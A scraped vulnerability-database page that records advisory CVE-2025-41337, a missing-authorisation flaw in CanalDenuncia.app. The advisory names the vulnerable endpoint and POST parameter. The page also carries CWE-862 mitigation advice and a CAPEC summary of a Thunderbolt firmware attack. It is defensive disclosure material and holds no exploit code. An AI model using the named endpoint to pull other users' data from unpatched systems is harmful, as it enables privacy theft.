"url": "https://patchstack.com/database/wordpress/plugin/wp-export-categories-taxonomies/vulnerability/wordpress-wp-export-categories-taxonomies-plugin-1-0-3-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/wordpress/plugin/wp-export-categories-taxonomies/vulnerability/wordpress-wp-export-categories-taxonomies-plugin-1-0-3-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XR9H-FV82-7R7G
Vulnerability from github – Published: 2025-11-04 15:31 – Updated: 2025-11-05 17:48A lack of authorisation vulnerability has been detected in CanalDenuncia.app. This vulnerability allows an attacker to access other users' information by sending a POST through the parameter 'web' in '/backend/api/buscarSSOParametros.php'.
{
"affected": [],
"aliases": [
"CVE-2025-41337"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-04T14:15:35Z",
"severity": "HIGH"
},
"details": "A lack of authorisation vulnerability has been detected in CanalDenuncia.app. This vulnerability allows an attacker to access other users\u0027 information by sending a POST through the\u00a0parameter \u0027web\u0027 in \u0027/backend/api/buscarSSOParametros.php\u0027.",
"id": "GHSA-xr9h-fv82-7r7g",
"modified": "2025-11-05T17:48:27Z",
"published": "2025-11-04T15:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41337"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-canaldenunciaapp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.